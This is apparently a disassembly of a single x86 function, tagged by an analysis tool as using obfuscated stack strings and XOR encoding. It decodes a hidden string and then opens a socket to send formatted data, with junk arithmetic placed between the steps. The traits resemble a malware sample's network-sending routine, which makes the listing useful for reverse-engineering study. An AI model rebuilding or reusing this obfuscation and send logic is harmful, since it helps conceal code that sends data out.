Function at 0x4065d0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11bc
call fcn.004254b0
mov eax, dword [0x4310d8]
push ebx
mov dword [esp + 0x11bc], eax
mov cl, 0x8c
push esi
mov ebx, 3
mov dl, 0xb8
mov al, 0xa1
push edi
mov byte [esp + 0x10], 0xec
mov byte [esp + 0x11], 0xc7
mov byte [esp + 0x12], 0x54
mov byte [esp + 0x13], 0x7d
mov byte [esp + 0x14], 0xdc
mov byte [esp + 0x15], 0x15
mov byte [esp + 0x16], 0x69
mov byte [esp + 0x17], 0xc0
mov byte [esp + 0x18], 0x21
mov byte [esp + 0x19], 0x71
mov byte [esp + 0x1a], 0xf5
mov byte [esp + 0x1b], 0x65
mov byte [esp + 0x1c], 0xc0
mov byte [esp + 0x1d], 0x88
mov byte [esp + 0x1e], 0xf4
mov byte [esp + 0x1f], 0xc4
mov byte [esp + 0x20], 0x2d
mov byte [esp + 0x21], 0xd9
mov byte [esp + 0x22], 0x18
mov byte [esp + 0x23], 0x66
mov byte [esp + 0x24], 0x9f
mov byte [esp + 0x25], 0x83
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], dl
mov byte [esp + 0x28], 0x91
mov byte [esp + 0x29], 0xe
mov byte [esp + 0x2a], 0xe7
mov byte [esp + 0x2b], 0x7b
mov byte [esp + 0x2c], 0x7f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], 0x43
mov byte [esp + 0x2f], 0x5b
mov byte [esp + 0x30], 0xb2
mov byte [esp + 0x31], 0x81
mov byte [esp + 0x32], 0xb0
mov byte [esp + 0x33], 0xce
mov byte [esp + 0x34], 0x2f
mov byte [esp + 0x35], 0x62
mov byte [esp + 0x36], 0
mov byte [esp + 0x37], 0xa2
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0xab
mov byte [esp + 0x3a], 0x81
mov byte [esp + 0x3b], 0xdb
mov byte [esp + 0x3c], 0xd1
mov byte [esp + 0x3d], 0x4b
mov byte [esp + 0x3e], 0xcb
mov byte [esp + 0x3f], 0x45
mov byte [esp + 0x40], 0x7a
mov byte [esp + 0x41], 0x78
mov byte [esp + 0x42], 0x55
mov byte [esp + 0x43], 0x63
mov byte [esp + 0x44], 0xc
mov byte [esp + 0x45], 0xa4
mov byte [esp + 0x46], 0x31
mov byte [esp + 0x47], 0x98
mov byte [esp + 0x48], 0xc9
mov byte [esp + 0x49], 0x10
mov byte [esp + 0x4a], 0xd1
mov byte [esp + 0x4b], 0x34
mov byte [esp + 0x4c], 0xad
mov byte [esp + 0x4d], 0xd4
mov byte [esp + 0x4e], 0x80
mov byte [esp + 0x4f], 0xbe
mov byte [esp + 0x50], cl
mov byte [esp + 0x51], 0x5a
mov byte [esp + 0x52], 0x99
mov byte [esp + 0x53], 0xba
mov byte [esp + 0x54], 0x77
mov byte [esp + 0x55], 0xfc
mov cl, 0x6e
mov byte [esp + 0x5c], cl
mov byte [esp + 0x95], cl
mov cl, 0xd6
mov byte [esp + 0x98], cl
mov byte [esp + 0x99], cl
mov byte [esp + 0x56], 0x9d
mov byte [esp + 0x57], al
mov byte [esp + 0x58], 0xb5
mov byte [esp + 0x59], 0x6d
mov byte [esp + 0x5a], 0xa7
mov byte [esp + 0x5b], 0x67
mov byte [esp + 0x5d], 7
mov byte [esp + 0x5e], 0xec
mov byte [esp + 0x5f], 0xbe
mov byte [esp + 0x60], 0xcc
mov byte [esp + 0x61], 0x32
mov byte [esp + 0x62], 0x3f
mov byte [esp + 0x63], 0x65
mov byte [esp + 0x64], 0xbd
mov byte [esp + 0x65], 0xf7
mov byte [esp + 0x66], 0x47
mov byte [esp + 0x67], 0x45
mov byte [esp + 0x68], 0x14
mov byte [esp + 0x69], 0xed
mov byte [esp + 0x6a], 0x68
mov byte [esp + 0x6b], 0x9b
mov byte [esp + 0x6c], 0x28
mov byte [esp + 0x6d], 0x1e
mov byte [esp + 0x6e], 2
mov byte [esp + 0x6f], 2
mov byte [esp + 0x70], 0x48
mov byte [esp + 0x71], 0xd
mov byte [esp + 0x72], 2
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], 0xc
mov byte [esp + 0x75], 0x85
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0x1b
mov byte [esp + 0x78], 0xe3
mov byte [esp + 0x79], 0xc5
mov byte [esp + 0x7a], 0x5d
mov byte [esp + 0x7b], 0x4a
mov byte [esp + 0x7c], 0x73
mov byte [esp + 0x7d], 0xc1
mov byte [esp + 0x7e], 0x6a
mov byte [esp + 0x7f], 0x1d
mov byte [esp + 0x80], 4
mov byte [esp + 0x81], 0x88
mov byte [esp + 0x82], 0x6c
mov byte [esp + 0x83], 0x4b
mov byte [esp + 0x84], 0xba
mov byte [esp + 0x85], 0x88
mov byte [esp + 0x86], 0x46
mov byte [esp + 0x87], 0x57
mov byte [esp + 0x88], 0xc8
mov byte [esp + 0x89], 0x41
mov byte [esp + 0x8a], bl
mov byte [esp + 0x8b], 0x4e
mov byte [esp + 0x8c], 0x40
mov byte [esp + 0x8d], 0x18
mov byte [esp + 0x8e], 0xd9
mov byte [esp + 0x8f], 0xa
mov byte [esp + 0x90], 0xd4
mov byte [esp + 0x91], 0x65
mov byte [esp + 0x92], 0x23
mov byte [esp + 0x93], al
mov byte [esp + 0x94], 0x25
mov byte [esp + 0x96], 0x75
mov byte [esp + 0x97], 0x61
mov byte [esp + 0x9a], 0x5c
mov byte [esp + 0x9b], 0x78
mov byte [esp + 0x9c], 0x23
mov byte [esp + 0x9d], 0xd3
mov byte [esp + 0x9e], 0xda
mov byte [esp + 0x9f], 0x3e
mov byte [esp + 0xa0], 0x24
mov byte [esp + 0xa1], 0x13
mov byte [esp + 0xa2], dl
mov byte [esp + 0xa3], 0xa5
mov cl, 0xef
mov byte [esp + 0xa4], cl
mov byte [esp + 0xa5], 0xb3
mov byte [esp + 0xa6], 0x36
mov byte [esp + 0xa7], 0x5a
mov byte [esp + 0xa8], 0x64
mov byte [esp + 0xa9], 0x36
mov byte [esp + 0xaa], 0xbd
mov byte [esp + 0xab], 0x1b
mov byte [esp + 0xac], 0xa9
mov byte [esp + 0xad], 0xc4
mov byte [esp + 0xae], 0x21
mov byte [esp + 0xaf], 0xb0
mov byte [esp + 0xb0], 0x48
mov byte [esp + 0xb1], 0x45
mov byte [esp + 0xb2], 0x79
mov byte [esp + 0xb3], 0xc0
mov byte [esp + 0xb4], 0xe0
mov byte [esp + 0xb5], 0x7f
mov byte [esp + 0xb6], 0x3d
mov byte [esp + 0xb7], dl
mov byte [esp + 0xb8], 0xda
mov byte [esp + 0xb9], 0xd7
mov byte [esp + 0xba], 0xa0
mov byte [esp + 0xbb], 0x1b
mov byte [esp + 0xbc], 0xa4
mov byte [esp + 0xbd], 0xe8
mov byte [esp + 0xbe], 0xd7
mov byte [esp + 0xbf], 0xf4
mov byte [esp + 0xc0], 0x52
mov byte [esp + 0xc1], 0xfd
mov byte [esp + 0xc2], 0xbf
mov byte [esp + 0xc3], 0x39
mov byte [esp + 0xc4], 0xaa
mov byte [esp + 0xc5], 0xaa
mov byte [esp + 0xc6], al
mov byte [esp + 0xc7], 0xce
mov byte [esp + 0xc8], 0x85
mov byte [esp + 0xc9], 0xc
mov byte [esp + 0xca], 0x75
mov byte [esp + 0xcb], 2
mov byte [esp + 0xcc], 0xfd
mov byte [esp + 0xcd], 0xfa
mov byte [esp + 0xce], 0xf2
mov byte [esp + 0xcf], 0xc2
mov byte [esp + 0xd0], 0x5c
mov byte [esp + 0xd1], 0xa2
mov byte [esp + 0xd2], 0xc3
mov byte [esp + 0xd3], 0x41
mov byte [esp + 0xd4], 0xc0
mov byte [esp + 0xd5], 0x55
mov byte [esp + 0xd6], 0xa6
mov byte [esp + 0xd7], 0x5d
mov byte [esp + 0xd8], 0xe1
mov byte [esp + 0xd9], 0x90
mov byte [esp + 0xda], 0xec
mov byte [esp + 0xe0], 0xbc
mov byte [esp + 0xe1], 0x88
mov byte [esp + 0xe2], 7
mov byte [esp + 0xe3], 0x29
mov byte [esp + 0xe4], 0xfc
mov byte [esp + 0xe5], 0x30
mov byte [esp + 0xe6], 0x1a
mov byte [esp + 0xe7], 0xe0
mov byte [esp + 0xe8], 0x69
mov byte [esp + 0xe9], 0x25
mov byte [esp + 0xea], al
mov byte [esp + 0xeb], 0x35
mov byte [esp + 0xec], cl
mov byte [esp + 0xed], 0xb9
mov byte [esp + 0xee], 0xda
mov byte [esp + 0xef], 0xf5
mov byte [esp + 0xf0], 0x20
mov byte [esp + 0xf1], 0xd3
mov byte [esp + 0xf2], 0x59
mov byte [esp + 0xf3], 5
mov byte [esp + 0xf4], 0xfc
mov byte [esp + 0xf5], 0xe6
mov byte [esp + 0xf6], 0x73
mov byte [esp + 0xf7], 0xcc
mov byte [esp + 0xf8], 0xab
mov byte [esp + 0xf9], 0x2e
mov byte [esp + 0xfa], 0xcd
mov byte [esp + 0xfb], 0x54
mov byte [esp + 0xfc], 0x55
mov byte [esp + 0xfd], 0x81
mov byte [esp + 0xfe], 0x49
mov byte [esp + 0xff], 0x1a
mov byte [esp + 0x100], 0xd1
mov byte [esp + 0x101], 0xe2
mov byte [esp + 0x102], 0xd5
mov byte [esp + 0x103], 0xbe
mov byte [esp + 0x104], 0x5b
mov byte [esp + 0x105], 0x4f
mov byte [esp + 0x106], 0x4c
mov byte [esp + 0x107], 0xc3
mov byte [esp + 0x108], 0xcf
mov byte [esp + 0x109], 0xcc
mov byte [esp + 0x10a], 0xf4
mov byte [esp + 0x10b], 0xba
mov byte [esp + 0x10c], 0xb6
mov byte [esp + 0x10d], 0x2e
mov byte [esp + 0x10e], 0xf1
mov byte [esp + 0x10f], 0x65
mov byte [esp + 0x110], 0x1f
mov byte [esp + 0x111], 0x16
mov byte [esp + 0x112], 0x58
mov byte [esp + 0x113], 0x69
mov byte [esp + 0x114], 0x4d
mov byte [esp + 0x115], 0xc7
mov byte [esp + 0x116], 0x52
mov byte [esp + 0x117], 0xfd
mov byte [esp + 0x118], 0xb9
mov byte [esp + 0x119], 0x64
mov byte [esp + 0x11a], 0xfc
mov byte [esp + 0x11b], 0x71
mov byte [esp + 0x11c], 0xc3
mov byte [esp + 0x11d], 0xb7
mov byte [esp + 0x11e], cl
mov byte [esp + 0x11f], 0xda
mov byte [esp + 0x120], 0xe5
mov byte [esp + 0x121], 0x34
mov byte [esp + 0x122], 0xfe
mov byte [esp + 0x123], 0x80
mov byte [esp + 0x124], 0x57
mov byte [esp + 0x125], 0x9b
mov byte [esp + 0x126], 0xe7
mov byte [esp + 0x127], 0xc8
mov byte [esp + 0x128], 0xc5
mov byte [esp + 0x129], 0x41
mov byte [esp + 0x12a], 0x87
mov byte [esp + 0x12b], bl
mov byte [esp + 0x12c], 0xb
mov byte [esp + 0x12d], 0x61
mov byte [esp + 0x12e], 0x80
mov byte [esp + 0x12f], 0xdf
mov byte [esp + 0x130], dl
mov byte [esp + 0x131], 0x57
mov byte [esp + 0x132], 0x32
mov byte [esp + 0x133], 0x6f
mov byte [esp + 0x134], 0xe8
mov byte [esp + 0x135], 0x84
mov byte [esp + 0x136], 0x22
mov byte [esp + 0x137], 0x37
mov byte [esp + 0x138], 0x39
mov byte [esp + 0x139], 0xac
mov byte [esp + 0x13a], 0xf
mov byte [esp + 0x13b], 0xfe
mov byte [esp + 0x13c], 0x46
mov byte [esp + 0x13d], 0x6a
mov byte [esp + 0x13e], 0x38
mov byte [esp + 0x13f], 0x22
mov byte [esp + 0x140], 5
mov byte [esp + 0x141], 0x62
mov byte [esp + 0x142], 0x78
mov byte [esp + 0x143], 0x6a
mov byte [esp + 0x144], 0x60
mov byte [esp + 0x145], 0xe9
mov byte [esp + 0x146], 0x62
mov byte [esp + 0x147], 0x34
mov byte [esp + 0x148], 0xd7
mov byte [esp + 0x149], 0xeb
mov byte [esp + 0x14a], 0x6d
mov byte [esp + 0x14b], 0x6a
mov byte [esp + 0x14c], 0x5b
mov byte [esp + 0x14d], 0xa2
mov byte [esp + 0x14e], 5
mov byte [esp + 0x14f], 0x70
mov byte [esp + 0x150], 0x74
mov byte [esp + 0x151], 0xe9
mov byte [esp + 0x152], 0x18
mov byte [esp + 0x153], 0x22
mov byte [esp + 0x154], 0xd8
mov byte [esp + 0x155], 0xe4
mov byte [esp + 0x156], 0x23
mov byte [esp + 0x157], 0x6c
mov byte [esp + 0x158], 0xe8
mov byte [esp + 0x159], 0xc
mov byte [esp + 0x15a], 0x50
mov byte [esp + 0x15b], 7
mov byte [esp + 0x15c], 5
mov byte [esp + 0x15d], 0x38
mov byte [esp + 0x15e], cl
mov byte [esp + 0x15f], 0x24
mov byte [esp + 0x160], 0xe4
mov byte [esp + 0x161], 0x5e
mov byte [esp + 0x162], bl
mov byte [esp + 0x163], 0xf6
mov byte [esp + 0x164], 0x4c
mov byte [esp + 0x165], 0
mov byte [esp + 0x166], 0x11
mov byte [esp + 0x167], 0xe
mov byte [esp + 0x168], al
mov byte [esp + 0x169], 0xa5
mov byte [esp + 0x16a], 0x7c
mov byte [esp + 0x16b], 0x36
mov byte [esp + 0x16c], 0x77
mov byte [esp + 0x16d], 0xf3
mov byte [esp + 0x16e], cl
mov byte [esp + 0x16f], 0x10
mov byte [esp + 0x170], 0x15
mov byte [esp + 0x171], 0x3a
mov byte [esp + 0x172], 0xb5
mov byte [esp + 0x173], 0xaf
mov byte [esp + 0x174], 0xa7
mov byte [esp + 0x175], 0xdc
mov byte [esp + 0x176], 0x45
mov byte [esp + 0x177], 0x2e
mov byte [esp + 0x178], 0x5e
mov byte [esp + 0x179], 0x16
mov byte [esp + 0x17a], 0x98
mov byte [esp + 0x17b], 0x68
mov byte [esp + 0x17c], 0x93
mov byte [esp + 0x17d], 0xe1
mov byte [esp + 0x17e], 0x45
mov byte [esp + 0x17f], 0xbd
mov byte [esp + 0x180], 0x42
mov byte [esp + 0x181], 6
mov byte [esp + 0x182], 0x16
mov byte [esp + 0x183], 0xae
mov byte [esp + 0x184], 0x8e
mov byte [esp + 0x185], 0x1a
mov byte [esp + 0x186], 0x5e
mov byte [esp + 0x187], 0xcc
mov byte [esp + 0x188], 0xb3
mov byte [esp + 0x189], dl
mov byte [esp + 0x18a], 0xce
mov byte [esp + 0x18b], 0x21
mov byte [esp + 0x18c], 0x84
mov byte [esp + 0x18d], 0xab
mov byte [esp + 0x18e], 0xbb
mov byte [esp + 0x18f], 0x9b
mov byte [esp + 0x190], 0x21
mov byte [esp + 0x191], 0x98
mov byte [esp + 0x192], 0xb2
mov byte [esp + 0x193], 0x33
mov byte [esp + 0x194], 0xe9
mov byte [esp + 0x195], 0xc5
mov byte [esp + 0x196], 0xcf
mov byte [esp + 0x197], 0xba
mov byte [esp + 0x198], 0xe0
mov byte [esp + 0x199], 0x62
mov byte [esp + 0x19a], 1
mov byte [esp + 0x19b], 0x2f
mov byte [esp + 0x19c], 0xb1
mov byte [esp + 0x19d], 0x9f
mov byte [esp + 0x19e], 0x9c
mov byte [esp + 0x19f], 0xa5
mov byte [esp + 0x1a0], 0x28
mov byte [esp + 0x1a1], 0xca
mov byte [esp + 0x1a2], 0xf9
mov byte [esp + 0x1a3], 0x61
mov byte [esp + 0x1a4], 0xe5
mov byte [esp + 0x1a5], 0x31
mov byte [esp + 0x1a6], 0xab
mov byte [esp + 0x1a7], 0x57
mov byte [esp + 0x1a8], 0xec
mov byte [esp + 0x1a9], 0x9a
mov byte [esp + 0x1aa], 0xec
xor eax, eax
jmp 0x407150
mov dl, byte [esp + eax + 0x10]
mov cl, byte [esp + eax + 0xe0]
xor dl, cl
mov byte [esp + eax + 0x10], dl
inc eax
cmp eax, 0xcb
jl 0x407150
mov esi, dword [ebp + 8]
test esi, esi
je 0x407214
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x407214
mov edx, dword [ebp + 0x10]
push edx
call dword [0x431eac]
push esi
mov word [esp + 0x1b6], ax
mov word [esp + 0x1b4], 2
call dword [0x431eb0]
cmp eax, 0xffffffff
mov dword [esp + 0x1b4], eax
mov dword [esp + 0xc], 0x46
jne 0x4071e6
push esi
call dword [0x431eb4]
test eax, eax
je 0x407214
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov esi, dword [eax]
mov edx, ecx
shr ecx, 2
lea edi, [esp + 0x1b4]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, ebx
mov dword [esp + 0xc], 0xaf0
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0xc]
push 6
push 1
add edi, 0x3e43
push 2
mov dword [esp + 0x18], edi
call dword [0x431eb8]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407229
mov al, byte [esp + 0xc]
mov cl, 0x55
imul cl
mov byte [0x431c85], al
xor eax, eax
mov ecx, dword [esp + 0x11c4]
call fcn.00424873
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10
lea edx, [esp + 0x1b4]
push edx
push esi
mov byte [0x431c85], 0x22
call dword [0x431ebc]
test eax, eax
je 0x407277
mov cl, byte [0x431c85]
add cl, 0x9d
push esi
mov byte [0x431c85], cl
call dword [0x431ec4]
mov byte [0x431c85], 0x22
xor eax, eax
mov ecx, dword [esp + 0x11c4]
call fcn.00424873
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movsx bx, byte [0x431c85]
mov edi, dword [esp + 0xc]
movzx edx, word [ebp + 0x10]
mov cl, 0x55
and ebx, edi
xor ebx, 0x79
mov al, bl
imul cl
mov byte [0x431c85], al
xor eax, eax
mov ecx, 0x400
lea edi, [esp + 0x1c0]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push edi
push edx
push eax
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x1d4]
push 0xfff
push eax
call fcn.0042544d
mov al, byte [0x431c85]
or bl, 0x39
xor al, 0xf9
and bl, al
xor bl, 0x41
mov cl, pe_nt_image_headers32
sub cl, bl
add al, cl
movsx bx, al
add esp, 0x1c
push 0
lea edx, [esp + 0x1c4]
push edx
mov byte [0x431c85], al
imul ebx, ebx, 0x19
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x1c8]
push eax
push esi
call dword [0x431ec0]
mov ecx, dword [ebp + 0x14]
mov al, bl
imul byte [0x431c85]
push 0
push edi
push ecx
add al, 0x45
push esi
mov byte [0x431c85], al
call dword [0x431ec0]
mov al, byte [0x431c85]
add al, 0x1e
mov dl, al
and dl, 0xdb
xor dl, 0x56
mov cl, 0xc3
sub cl, dl
add al, cl
push esi
mov byte [0x431c85], al
call dword [0x431ec4]
mov ecx, dword [esp + 0x11c4]
mov eax, 1
call fcn.00424873
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret